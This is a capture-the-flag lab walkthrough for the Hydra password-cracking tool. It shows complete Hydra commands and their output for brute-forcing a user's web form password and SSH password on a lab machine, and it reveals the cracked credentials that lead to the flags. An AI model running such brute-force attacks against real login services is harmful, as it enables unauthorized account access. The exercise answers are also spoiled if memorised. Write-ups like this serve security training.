Hydra

1. First Flag

The username is Molly, which can be deduced from the question: Use Hydra to bruteforce molly's web password. What is flag 1?. The command for brute-force looks like this:

root@ip-10-10-178-207:~# hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.122.228 http-post-form "/login:username=^USER^&password=^PASS^:incorrect"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-20 08:14:05
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.122.228:80/login:username=^USER^&password=^PASS^:incorrect
[80][http-post-form] host: 10.10.122.228   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-20 08:14:20

The flag can be found after the login form.

2. Second Flag

The username is Molly, which can be deduced from the question: Use Hydra to brute-force Molly's SSH password. What is flag 2?. The command for brute-force looks like this:

root@ip-10-10-178-207:~# hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.122.228 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.122.228:22/
[22][ssh] host: 10.10.122.228   login: molly   password: butterfly
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra)

The flag can be found after accessing the machine via SSH, located in the current folder.